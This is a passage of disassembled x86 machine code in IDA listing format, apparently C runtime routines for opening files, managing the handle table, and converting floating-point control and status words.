CODE XREF: .text:00427FD8j mov ecx, [ebp+0Ch] and ecx, 80h test ecx, ecx jz short loc_427FF8 mov dl, [ebp-0Ch] or dl, 10h mov [ebp-0Ch], dl loc_427FF8: ; CODE XREF: .text:00427FEDj mov eax, [ebp+8] push eax call ds:dword_4942CC mov [ebp-4], eax cmp dword ptr [ebp-4], 0 jnz short loc_428022 call ds:dword_4942F0 push eax call sub_422E80 add esp, 4 or eax, 0FFFFFFFFh jmp loc_4280B0 ; --------------------------------------------------------------------------- loc_428022: ; CODE XREF: .text:00428009j cmp dword ptr [ebp-4], 2 jnz short loc_428033 mov cl, [ebp-0Ch] or cl, 40h mov [ebp-0Ch], cl jmp short loc_428042 ; --------------------------------------------------------------------------- loc_428033: ; CODE XREF: .text:00428026j cmp dword ptr [ebp-4], 3 jnz short loc_428042 mov dl, [ebp-0Ch] or dl, 8 mov [ebp-0Ch], dl loc_428042: ; CODE XREF: .text:00428031j ; .text:00428037j call sub_427BB0 mov [ebp-8], eax cmp dword ptr [ebp-8], 0FFFFFFFFh jnz short loc_42806B call sub_422F20 mov dword ptr [eax], 18h call sub_422F30 mov dword ptr [eax], 0 or eax, 0FFFFFFFFh jmp short loc_4280B0 ; --------------------------------------------------------------------------- loc_42806B: ; CODE XREF: .text:0042804Ej mov eax, [ebp+8] push eax mov ecx, [ebp-8] push ecx call sub_427DA0 add esp, 8 mov dl, [ebp-0Ch] or dl, 1 mov [ebp-0Ch], dl mov eax, [ebp-8] sar eax, 5 mov ecx, [ebp-8] and ecx, 1Fh imul ecx, 24h mov edx, dword_492420[eax*4] mov al, [ebp-0Ch] mov [edx+ecx+4], al mov ecx, [ebp-8] push ecx call sub_428150 add esp, 4 mov eax, [ebp-8] loc_4280B0: ; CODE XREF: .text:0042801Dj ; .text:00428069j mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4280C0 proc near ; CODE XREF: sub_421310+50p ; sub_421E90+50p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, dword_492420[eax*4] add edx, ecx mov [ebp+var_4], edx mov eax, [ebp+var_4] cmp dword ptr [eax+8], 0 jnz short loc_428121 push 11h call sub_41BC90 add esp, 4 mov ecx, [ebp+var_4] cmp dword ptr [ecx+8], 0 jnz short loc_428117 mov edx, [ebp+var_4] add edx, 0Ch push edx call ds:dword_494430 mov eax, [ebp+var_4] mov ecx, [eax+8] add ecx, 1 mov edx, [ebp+var_4] mov [edx+8], ecx loc_428117: ; CODE XREF: sub_4280C0+39j push 11h call sub_41BD30 add esp, 4 loc_428121: ; CODE XREF: sub_4280C0+26j mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, dword_492420[eax*4] lea eax, [edx+ecx+0Ch] push eax call ds:dword_494304 mov esp, ebp pop ebp retn sub_4280C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428150 proc near ; CODE XREF: sub_421310+6Bp ; sub_421E90+73p ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, dword_492420[eax*4] lea eax, [edx+ecx+0Ch] push eax call ds:dword_494300 pop ebp retn sub_428150 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428180 proc near ; CODE XREF: sub_421530+2Fp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp eax, dword_492520 jnb short loc_4281B1 mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, dword_492420[ecx*4] movsx ecx, byte ptr [eax+edx+4] and ecx, 1 test ecx, ecx jnz short loc_4281C4 loc_4281B1: ; CODE XREF: sub_428180+Dj call sub_422F20 mov dword ptr [eax], 9 or eax, 0FFFFFFFFh jmp loc_42824E ; --------------------------------------------------------------------------- loc_4281C4: ; CODE XREF: sub_428180+2Fj mov edx, [ebp+arg_0] push edx call sub_4280C0 add esp, 4 mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, dword_492420[eax*4] movsx eax, byte ptr [edx+ecx+4] and eax, 1 test eax, eax jz short loc_42822D mov ecx, [ebp+arg_0] push ecx call sub_427F40 add esp, 4 push eax call ds:dword_4942B8 test eax, eax jnz short loc_428214 call ds:dword_4942F0 mov [ebp+var_4], eax jmp short loc_42821B ; --------------------------------------------------------------------------- loc_428214: ; CODE XREF: sub_428180+87j mov [ebp+var_4], 0 loc_42821B: ; CODE XREF: sub_428180+92j cmp [ebp+var_4], 0 jnz short loc_428223 jmp short loc_42823F ; --------------------------------------------------------------------------- loc_428223: ; CODE XREF: sub_428180+9Fj call sub_422F30 mov edx, [ebp+var_4] mov [eax], edx loc_42822D: ; CODE XREF: sub_428180+70j call sub_422F20 mov dword ptr [eax], 9 mov [ebp+var_4], 0FFFFFFFFh loc_42823F: ; CODE XREF: sub_428180+A1j mov eax, [ebp+arg_0] push eax call sub_428150 add esp, 4 mov eax, [ebp+var_4] loc_42824E: ; CODE XREF: sub_428180+3Fj mov esp, ebp pop ebp retn sub_428180 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 8 lea eax, [ebp+10h] mov [ebp-8], eax mov ecx, [ebp-8] add ecx, 4 mov [ebp-8], ecx mov edx, [ebp-8] mov eax, [edx-4] mov [ebp-4], eax mov dword ptr [ebp-8], 0 mov ecx, [ebp-4] push ecx push 40h mov edx, [ebp+0Ch] push edx mov eax, [ebp+8] push eax call sub_4282A0 add esp, 10h mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4282A0 proc near ; CODE XREF: sub_421980+2B0p ; .text:00428293p var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp sub esp, 48h mov [ebp+var_24], 0Ch mov [ebp+var_20], 0 mov eax, [ebp+arg_4] and eax, 80h test eax, eax jz short loc_4282CD mov [ebp+var_1C], 0 mov [ebp+var_38], 10h jmp short loc_4282D8 ; --------------------------------------------------------------------------- loc_4282CD: ; CODE XREF: sub_4282A0+1Ej mov [ebp+var_1C], 1 mov [ebp+var_38], 0 loc_4282D8: ; CODE XREF: sub_4282A0+2Bj mov ecx, [ebp+arg_4] and ecx, 8000h test ecx, ecx jnz short loc_428311 mov edx, [ebp+arg_4] and edx, 4000h test edx, edx jz short loc_4282FC mov al, [ebp+var_38] or al, 80h mov [ebp+var_38], al jmp short loc_428311 ; --------------------------------------------------------------------------- loc_4282FC: ; CODE XREF: sub_4282A0+50j cmp dword_4923EC, 8000h jz short loc_428311 mov cl, [ebp+var_38] or cl, 80h mov [ebp+var_38], cl loc_428311: ; CODE XREF: sub_4282A0+43j ; sub_4282A0+5Aj ... mov edx, [ebp+arg_4] and edx, 3 mov [ebp+var_40], edx cmp [ebp+var_40], 0 jz short loc_42832E cmp [ebp+var_40], 1 jz short loc_428337 cmp [ebp+var_40], 2 jz short loc_428340 jmp short loc_428349 ; --------------------------------------------------------------------------- loc_42832E: ; CODE XREF: sub_4282A0+7Ej mov [ebp+var_34], 80000000h jmp short loc_428367 ; --------------------------------------------------------------------------- loc_428337: ; CODE XREF: sub_4282A0+84j mov [ebp+var_34], 40000000h jmp short loc_428367 ; --------------------------------------------------------------------------- loc_428340: ; CODE XREF: sub_4282A0+8Aj mov [ebp+var_34], 0C0000000h jmp short loc_428367 ; --------------------------------------------------------------------------- loc_428349: ; CODE XREF: sub_4282A0+8Cj call sub_422F20 mov dword ptr [eax], 16h call sub_422F30 mov dword ptr [eax], 0 or eax, 0FFFFFFFFh jmp loc_4287AA ; --------------------------------------------------------------------------- loc_428367: ; CODE XREF: sub_4282A0+95j ; sub_4282A0+9Ej ... mov eax, [ebp+arg_8] mov [ebp+var_44], eax mov ecx, [ebp+var_44] sub ecx, 10h mov [ebp+var_44], ecx cmp [ebp+var_44], 30h ja short loc_4283B2 mov eax, [ebp+var_44] xor edx, edx mov dl, ds:byte_4287C2[eax] jmp ds:off_4287AE[edx*4] loc_42838E: ; DATA XREF: .text:off_4287AEo mov [ebp+var_8], 0 jmp short loc_4283D0 ; --------------------------------------------------------------------------- loc_428397: ; CODE XREF: sub_4282A0+E7j ; DATA XREF: .text:004287B2o mov [ebp+var_8], 1 jmp short loc_4283D0 ; --------------------------------------------------------------------------- loc_4283A0: ; CODE XREF: sub_4282A0+E7j ; DATA XREF: .text:004287B6o mov [ebp+var_8], 2 jmp short loc_4283D0 ; --------------------------------------------------------------------------- loc_4283A9: ; CODE XREF: sub_4282A0+E7j ; DATA XREF: .text:004287BAo mov [ebp+var_8], 3 jmp short loc_4283D0 ; --------------------------------------------------------------------------- loc_4283B2: ; CODE XREF: sub_4282A0+DAj ; sub_4282A0+E7j ; DATA XREF: ... call sub_422F20 mov dword ptr [eax], 16h call sub_422F30 mov dword ptr [eax], 0 or eax, 0FFFFFFFFh jmp loc_4287AA ; --------------------------------------------------------------------------- loc_4283D0: ; CODE XREF: sub_4282A0+F5j ; sub_4282A0+FEj ... mov ecx, [ebp+arg_4] and ecx, 700h mov [ebp+var_48], ecx cmp [ebp+var_48], 400h jg short loc_42841C cmp [ebp+var_48], 400h jz short loc_428439 cmp [ebp+var_48], 200h jg short loc_428411 cmp [ebp+var_48], 200h jz short loc_428454 cmp [ebp+var_48], 0 jz short loc_428439 cmp [ebp+var_48], 100h jz short loc_428442 jmp short loc_428466 ; --------------------------------------------------------------------------- loc_428411: ; CODE XREF: sub_4282A0+155j cmp [ebp+var_48], 300h jz short loc_42845D jmp short loc_428466 ; --------------------------------------------------------------------------- loc_42841C: ; CODE XREF: sub_4282A0+143j cmp [ebp+var_48], 500h jz short loc_42844B cmp [ebp+var_48], 600h jz short loc_428454 cmp [ebp+var_48], 700h jz short loc_42844B jmp short loc_428466 ; --------------------------------------------------------------------------- loc_428439: ; CODE XREF: sub_4282A0+14Cj ; sub_4282A0+164j mov [ebp+var_18], 3 jmp short loc_428484 ; --------------------------------------------------------------------------- loc_428442: ; CODE XREF: sub_4282A0+16Dj mov [ebp+var_18], 4 jmp short loc_428484 ; --------------------------------------------------------------------------- loc_42844B: ; CODE XREF: sub_4282A0+183j ; sub_4282A0+195j mov [ebp+var_18], 1 jmp short loc_428484 ; --------------------------------------------------------------------------- loc_428454: ; CODE XREF: sub_4282A0+15Ej ; sub_4282A0+18Cj mov [ebp+var_18], 5 jmp short loc_428484 ; --------------------------------------------------------------------------- loc_42845D: ; CODE XREF: sub_4282A0+178j mov [ebp+var_18], 2 jmp short loc_428484 ; --------------------------------------------------------------------------- loc_428466: ; CODE XREF: sub_4282A0+16Fj ; sub_4282A0+17Aj ... call sub_422F20 mov dword ptr [eax], 16h call sub_422F30 mov dword ptr [eax], 0 or eax, 0FFFFFFFFh jmp loc_4287AA ; --------------------------------------------------------------------------- loc_428484: ; CODE XREF: sub_4282A0+1A0j ; sub_4282A0+1A9j ... mov [ebp+var_28], 80h mov edx, [ebp+arg_4] and edx, 100h test edx, edx jz short loc_4284D5 lea eax, [ebp+arg_C] mov [ebp+var_2C], eax mov ecx, [ebp+var_2C] add ecx, 4 mov [ebp+var_2C], ecx mov edx, [ebp+var_2C] mov eax, [edx-4] mov [ebp+var_10], eax mov [ebp+var_2C], 0 mov ecx, dword_492090 not ecx mov edx, [ebp+var_10] and edx, ecx and edx, 80h test edx, edx jnz short loc_4284D5 mov [ebp+var_28], 1 loc_4284D5: ; CODE XREF: sub_4282A0+1F6j ; sub_4282A0+22Cj mov eax, [ebp+arg_4] and eax, 40h test eax, eax jz short loc_4284F7 mov ecx, [ebp+var_28] or ecx, 4000000h mov [ebp+var_28], ecx mov edx, [ebp+var_34] or edx, 10000h mov [ebp+var_34], edx loc_4284F7: ; CODE XREF: sub_4282A0+23Dj mov eax, [ebp+arg_4] and eax, 1000h test eax, eax jz short loc_42850C mov ecx, [ebp+var_28] or ch, 1 mov [ebp+var_28], ecx loc_42850C: ; CODE XREF: sub_4282A0+261j mov edx, [ebp+arg_4] and edx, 20h test edx, edx jz short loc_428523 mov eax, [ebp+var_28] or eax, 8000000h mov [ebp+var_28], eax jmp short loc_428539 ; --------------------------------------------------------------------------- loc_428523: ; CODE XREF: sub_4282A0+274j mov ecx, [ebp+arg_4] and ecx, 10h test ecx, ecx jz short loc_428539 mov edx, [ebp+var_28] or edx, 10000000h mov [ebp+var_28], edx loc_428539: ; CODE XREF: sub_4282A0+281j ; sub_4282A0+28Bj call sub_427BB0 mov [ebp+var_14], eax cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_428565 call sub_422F20 mov dword ptr [eax], 18h call sub_422F30 mov dword ptr [eax], 0 or eax, 0FFFFFFFFh jmp loc_4287AA ; --------------------------------------------------------------------------- loc_428565: ; CODE XREF: sub_4282A0+2A5j push 0 mov eax, [ebp+var_28] push eax mov ecx, [ebp+var_18] push ecx lea edx, [ebp+var_24] push edx mov eax, [ebp+var_8] push eax mov ecx, [ebp+var_34] push ecx mov edx, [ebp+arg_0] push edx call ds:dword_4942EC mov [ebp+var_4], eax cmp [ebp+var_4], 0FFFFFFFFh jnz short loc_4285B1 call ds:dword_4942F0 push eax call sub_422E80 add esp, 4 mov eax, [ebp+var_14] push eax call sub_428150 add esp, 4 or eax, 0FFFFFFFFh jmp loc_4287AA ; --------------------------------------------------------------------------- loc_4285B1: ; CODE XREF: sub_4282A0+2ECj mov ecx, [ebp+var_4] push ecx call ds:dword_4942CC mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_4285F1 mov edx, [ebp+var_4] push edx call ds:dword_4942E0 call ds:dword_4942F0 push eax call sub_422E80 add esp, 4 mov eax, [ebp+var_14] push eax call sub_428150 add esp, 4 or eax, 0FFFFFFFFh jmp loc_4287AA ; --------------------------------------------------------------------------- loc_4285F1: ; CODE XREF: sub_4282A0+322j cmp [ebp+var_C], 2 jnz short loc_428602 mov cl, [ebp+var_38] or cl, 40h mov [ebp+var_38], cl jmp short loc_428611 ; --------------------------------------------------------------------------- loc_428602: ; CODE XREF: sub_4282A0+355j cmp [ebp+var_C], 3 jnz short loc_428611 mov dl, [ebp+var_38] or dl, 8 mov [ebp+var_38], dl loc_428611: ; CODE XREF: sub_4282A0+360j ; sub_4282A0+366j mov eax, [ebp+var_4] push eax mov ecx, [ebp+var_14] push ecx call sub_427DA0 add esp, 8 mov dl, [ebp+var_38] or dl, 1 mov [ebp+var_38], dl mov eax, [ebp+var_14] sar eax, 5 mov ecx, [ebp+var_14] and ecx, 1Fh imul ecx, 24h mov edx, dword_492420[eax*4] mov al, [ebp+var_38] mov [edx+ecx+4], al movsx ecx, [ebp+var_38] and ecx, 48h test ecx, ecx jnz loc_42874F movsx edx, [ebp+var_38] and edx, 80h test edx, edx jz loc_42874F mov eax, [ebp+arg_4] and eax, 2 test eax, eax jz loc_42874F push 2 push 0FFFFFFFFh mov ecx, [ebp+var_14] push ecx call sub_424B90 add esp, 0Ch mov [ebp+var_3C], eax cmp [ebp+var_3C], 0FFFFFFFFh jnz short loc_4286C1 call sub_422F30 cmp dword ptr [eax], 83h jz short loc_4286BC mov edx, [ebp+var_14] push edx call sub_421310 add esp, 4 mov eax, [ebp+var_14] push eax call sub_428150 add esp, 4 or eax, 0FFFFFFFFh jmp loc_4287AA ; --------------------------------------------------------------------------- loc_4286BC: ; CODE XREF: sub_4282A0+3FAj jmp loc_42874F ; --------------------------------------------------------------------------- loc_4286C1: ; CODE XREF: sub_4282A0+3EDj mov [ebp+var_30], 0 push 1 lea ecx, [ebp+var_30] push ecx mov edx, [ebp+var_14] push edx call sub_421F20 add esp, 0Ch test eax, eax jnz short loc_428719 movsx eax, [ebp+var_30] cmp eax, 1Ah jnz short loc_428719 mov ecx, [ebp+var_3C] push ecx mov edx, [ebp+var_14] push edx call sub_42C610 add esp, 8 cmp eax, 0FFFFFFFFh jnz short loc_428719 mov eax, [ebp+var_14] push eax call sub_421310 add esp, 4 mov ecx, [ebp+var_14] push ecx call sub_428150 add esp, 4 or eax, 0FFFFFFFFh jmp loc_4287AA ; --------------------------------------------------------------------------- loc_428719: ; CODE XREF: sub_4282A0+439j ; sub_4282A0+442j ... push 0 push 0 mov edx, [ebp+var_14] push edx call sub_424B90 add esp, 0Ch mov [ebp+var_3C], eax cmp [ebp+var_3C], 0FFFFFFFFh jnz short loc_42874F mov eax, [ebp+var_14] push eax call sub_421310 add esp, 4 mov ecx, [ebp+var_14] push ecx call sub_428150 add esp, 4 or eax, 0FFFFFFFFh jmp short loc_4287AA ; --------------------------------------------------------------------------- loc_42874F: ; CODE XREF: sub_4282A0+3B0j ; sub_4282A0+3C2j ... movsx edx, [ebp+var_38] and edx, 48h test edx, edx jnz short loc_42879B mov eax, [ebp+arg_4] and eax, 8 test eax, eax jz short loc_42879B mov ecx, [ebp+var_14] sar ecx, 5 mov edx, [ebp+var_14] and edx, 1Fh imul edx, 24h mov eax, dword_492420[ecx*4] mov cl, [eax+edx+4] or cl, 20h mov edx, [ebp+var_14] sar edx, 5 mov eax, [ebp+var_14] and eax, 1Fh imul eax, 24h mov edx, dword_492420[edx*4] mov [edx+eax+4], cl loc_42879B: ; CODE XREF: sub_4282A0+4B8j ; sub_4282A0+4C2j mov eax, [ebp+var_14] push eax call sub_428150 add esp, 4 mov eax, [ebp+var_14] loc_4287AA: ; CODE XREF: sub_4282A0+C2j ; sub_4282A0+12Bj ... mov esp, ebp pop ebp retn sub_4282A0 endp ; --------------------------------------------------------------------------- off_4287AE dd offset loc_42838E ; DATA XREF: sub_4282A0+E7r dd offset loc_428397 dd offset loc_4283A0 dd offset loc_4283A9 dd offset loc_4283B2 byte_4287C2 db 0 ; DATA XREF: sub_4282A0+E1r db 4 dd 3 dup(4040404h), 4010404h, 3 dup(4040404h), 4020404h dd 3 dup(4040404h), 0CC030404h, 3 dup(0CCCCCCCCh) ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ebx push esi push edi fstsw word ptr [ebp-4] mov ax, [ebp-4] push eax call sub_428BF0 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx push ebx push esi push edi fnstsw word ptr [ebp-4] fnclex mov ax, [ebp-4] push eax call sub_428BF0 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428840 proc near ; CODE XREF: sub_428890+10p var_10 = word ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = word ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push ebx push esi push edi fstcw [ebp+var_10] mov ax, [ebp+var_10] push eax call sub_428910 add esp, 4 mov [ebp+var_8], eax mov ecx, [ebp+arg_0] and ecx, [ebp+arg_4] mov edx, [ebp+arg_4] not edx mov eax, [ebp+var_8] and eax, edx or ecx, eax mov [ebp+var_C], ecx mov ecx, [ebp+var_C] push ecx call sub_428A90 add esp, 4 mov [ebp+var_4], ax fldcw [ebp+var_4] mov eax, [ebp+var_C] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_428840 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428890 proc near ; CODE XREF: sub_422680+Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_4] and eax, 0FFF7FFFFh push eax mov ecx, [ebp+arg_0] push ecx call sub_428840 add esp, 8 pop ebp retn sub_428890 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi call sub_426B30 mov eax, [eax] mov [ebp-4], eax fninit call sub_422680 cmp dword ptr [ebp-4], 0 jz short loc_428901 mov ecx, [ebp-4] mov edx, [ecx+4] mov eax, [edx] and eax, 10008h test eax, eax jz short loc_428901 mov ecx, [ebp-4] mov edx, [ecx+4] add edx, 1Ch mov [ebp-8], edx mov eax, [ebp-8] mov dword ptr [eax+4], 0 mov ecx, [ebp-8] mov dword ptr [ecx+8], 0FFFFh loc_428901: ; CODE XREF: .text:004288CEj ; .text:004288DFj pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428910 proc near ; CODE XREF: sub_428840+12p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch mov [ebp+var_4], 0 mov eax, [ebp+arg_0] and eax, 0FFFFh and eax, 1 test eax, eax jz short loc_428935 mov ecx, [ebp+var_4] or ecx, 10h mov [ebp+var_4], ecx loc_428935: ; CODE XREF: sub_428910+1Aj mov edx, [ebp+arg_0] and edx, 0FFFFh and edx, 4 test edx, edx jz short loc_42894D mov eax, [ebp+var_4] or al, 8 mov [ebp+var_4], eax loc_42894D: ; CODE XREF: sub_428910+33j mov ecx, [ebp+arg_0] and ecx, 0FFFFh and ecx, 8 test ecx, ecx jz short loc_428966 mov edx, [ebp+var_4] or edx, 4 mov [ebp+var_4], edx loc_428966: ; CODE XREF: sub_428910+4Bj mov eax, [ebp+arg_0] and eax, 0FFFFh and eax, 10h test eax, eax jz short loc_42897E mov ecx, [ebp+var_4] or ecx, 2 mov [ebp+var_4], ecx loc_42897E: ; CODE XREF: sub_428910+63j mov edx, [ebp+arg_0] and edx, 0FFFFh and edx, 20h test edx, edx jz short loc_428996 mov eax, [ebp+var_4] or al, 1 mov [ebp+var_4], eax loc_428996: ; CODE XREF: sub_428910+7Cj mov ecx, [ebp+arg_0] and ecx, 0FFFFh and ecx, 2 test ecx, ecx jz short loc_4289B2 mov edx, [ebp+var_4] or edx, 80000h mov [ebp+var_4], edx loc_4289B2: ; CODE XREF: sub_428910+94j mov eax, [ebp+arg_0] and eax, 0FFFFh and eax, 0C00h mov [ebp+var_8], eax cmp [ebp+var_8], 800h jg short loc_4289E5 cmp [ebp+var_8], 800h jz short loc_4289F8 cmp [ebp+var_8], 0 jz short loc_4289F0 cmp [ebp+var_8], 400h jz short loc_428A03 jmp short loc_428A17 ; --------------------------------------------------------------------------- loc_4289E5: ; CODE XREF: sub_428910+B9j cmp [ebp+var_8], 0C00h jz short loc_428A0E jmp short loc_428A17 ; --------------------------------------------------------------------------- loc_4289F0: ; CODE XREF: sub_428910+C8j mov ecx, [ebp+var_4] mov [ebp+var_4], ecx jmp short loc_428A17 ; --------------------------------------------------------------------------- loc_4289F8: ; CODE XREF: sub_428910+C2j mov edx, [ebp+var_4] or dh, 2 mov [ebp+var_4], edx jmp short loc_428A17 ; --------------------------------------------------------------------------- loc_428A03: ; CODE XREF: sub_428910+D1j mov eax, [ebp+var_4] or ah, 1 mov [ebp+var_4], eax jmp short loc_428A17 ; --------------------------------------------------------------------------- loc_428A0E: ; CODE XREF: sub_428910+DCj mov ecx, [ebp+var_4] or ch, 3 mov [ebp+var_4], ecx loc_428A17: ; CODE XREF: sub_428910+D3j ; sub_428910+DEj ... mov edx, [ebp+arg_0] and edx, 0FFFFh and edx, 300h mov [ebp+var_C], edx cmp [ebp+var_C], 0 jz short loc_428A59 cmp [ebp+var_C], 200h jz short loc_428A4B cmp [ebp+var_C], 300h jz short loc_428A43 jmp short loc_428A65 ; --------------------------------------------------------------------------- loc_428A43: ; CODE XREF: sub_428910+12Fj mov eax, [ebp+var_4] mov [ebp+var_4], eax jmp short loc_428A65 ; --------------------------------------------------------------------------- loc_428A4B: ; CODE XREF: sub_428910+126j mov ecx, [ebp+var_4] or ecx, 10000h mov [ebp+var_4], ecx jmp short loc_428A65 ; --------------------------------------------------------------------------- loc_428A59: ; CODE XREF: sub_428910+11Dj mov edx, [ebp+var_4] or edx, 20000h mov [ebp+var_4], edx loc_428A65: ; CODE XREF: sub_428910+131j ; sub_428910+139j ... mov eax, [ebp+arg_0] and eax, 0FFFFh and eax, 1000h test eax, eax jz short loc_428A82 mov ecx, [ebp+var_4] or ecx, 40000h mov [ebp+var_4], ecx loc_428A82: ; CODE XREF: sub_428910+164j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_428910 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428A90 proc near ; CODE XREF: sub_428840+36p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch mov [ebp+var_4], 0 mov eax, [ebp+arg_0] and eax, 10h test eax, eax jz short loc_428AB1 mov cx, [ebp+var_4] or cl, 1 mov [ebp+var_4], cx loc_428AB1: ; CODE XREF: sub_428A90+14j mov edx, [ebp+arg_0] and edx, 8 test edx, edx jz short loc_428AC5 mov ax, [ebp+var_4] or al, 4 mov [ebp+var_4], ax loc_428AC5: ; CODE XREF: sub_428A90+29j mov ecx, [ebp+arg_0] and ecx, 4 test ecx, ecx jz short loc_428ADA mov dx, [ebp+var_4] or dl, 8 mov [ebp+var_4], dx loc_428ADA: ; CODE XREF: sub_428A90+3Dj mov eax, [ebp+arg_0] and eax, 2 test eax, eax jz short loc_428AEF mov cx, [ebp+var_4] or cl, 10h mov [ebp+var_4], cx loc_428AEF: ; CODE XREF: sub_428A90+52j mov edx, [ebp+arg_0] and edx, 1 test edx, edx jz short loc_428B03 mov ax, [ebp+var_4] or al, 20h mov [ebp+var_4], ax loc_428B03: ; CODE XREF: sub_428A90+67j mov ecx, [ebp+arg_0] and ecx, 80000h test ecx, ecx jz short loc_428B1B mov dx, [ebp+var_4] or dl, 2 mov [ebp+var_4], dx loc_428B1B: ; CODE XREF: sub_428A90+7Ej mov eax, [ebp+arg_0] and eax, 300h mov [ebp+var_8], eax cmp [ebp+var_8], 200h ja short loc_428B49 cmp [ebp+var_8], 200h jz short loc_428B5E cmp [ebp+var_8], 0 jz short loc_428B54 cmp [ebp+var_8], 100h jz short loc_428B6B jmp short loc_428B83 ; --------------------------------------------------------------------------- loc_428B49: ; CODE XREF: sub_428A90+9Dj cmp [ebp+var_8], 300h jz short loc_428B78 jmp short loc_428B83 ; --------------------------------------------------------------------------- loc_428B54: ; CODE XREF: sub_428A90+ACj mov cx, [ebp+var_4] mov [ebp+var_4], cx jmp short loc_428B83 ; --------------------------------------------------------------------------- loc_428B5E: ; CODE XREF: sub_428A90+A6j mov dx, [ebp+var_4] or dh, 8 mov [ebp+var_4], dx jmp short loc_428B83 ; --------------------------------------------------------------------------- loc_428B6B: ; CODE XREF: sub_428A90+B5j mov ax, [ebp+var_4] or ah, 4 mov [ebp+var_4], ax jmp short loc_428B83 ; --------------------------------------------------------------------------- loc_428B78: ; CODE XREF: sub_428A90+C0j mov cx, [ebp+var_4] or ch, 0Ch mov [ebp+var_4], cx loc_428B83: ; CODE XREF: sub_428A90+B7j ; sub_428A90+C2j ... mov edx, [ebp+arg_0] and edx, 30000h mov [ebp+var_C], edx cmp [ebp+var_C], 0 jz short loc_428BA9 cmp [ebp+var_C], 10000h jz short loc_428BB6 cmp [ebp+var_C], 20000h jz short loc_428BC3 jmp short loc_428BCB ; --------------------------------------------------------------------------- loc_428BA9: ; CODE XREF: sub_428A90+103j mov ax, [ebp+var_4] or ah, 3 mov [ebp+var_4], ax jmp short loc_428BCB ; --------------------------------------------------------------------------- loc_428BB6: ; CODE XREF: sub_428A90+10Cj mov cx, [ebp+var_4] or ch, 2 mov [ebp+var_4], cx jmp short loc_428BCB ; --------------------------------------------------------------------------- loc_428BC3: ; CODE XREF: sub_428A90+115j mov dx, [ebp+var_4] mov [ebp+var_4], dx loc_428BCB: ; CODE XREF: sub_428A90+117j ; sub_428A90+124j ... mov eax, [ebp+arg_0] and eax, 40000h test eax, eax jz short loc_428BE2 mov cx, [ebp+var_4] or ch, 10h mov [ebp+var_4], cx loc_428BE2: ; CODE XREF: sub_428A90+145j mov ax, [ebp+var_4] mov esp, ebp pop ebp retn sub_428A90 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428BF0 proc near ; CODE XREF: .text:00428810p ; .text:00428831p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], 0 mov eax, [ebp+arg_0] and eax, 0FFFFh and eax, 1 test eax, eax jz short loc_428C13 mov ecx, [ebp+var_4] or ecx, 10h mov [ebp+var_4], ecx loc_428C13: ; CODE XREF: sub_428BF0+18j mov edx, [ebp+arg_0] and edx, 0FFFFh and edx, 4 test edx, edx jz short loc_428C2B mov eax, [ebp+var_4] or al, 8 mov 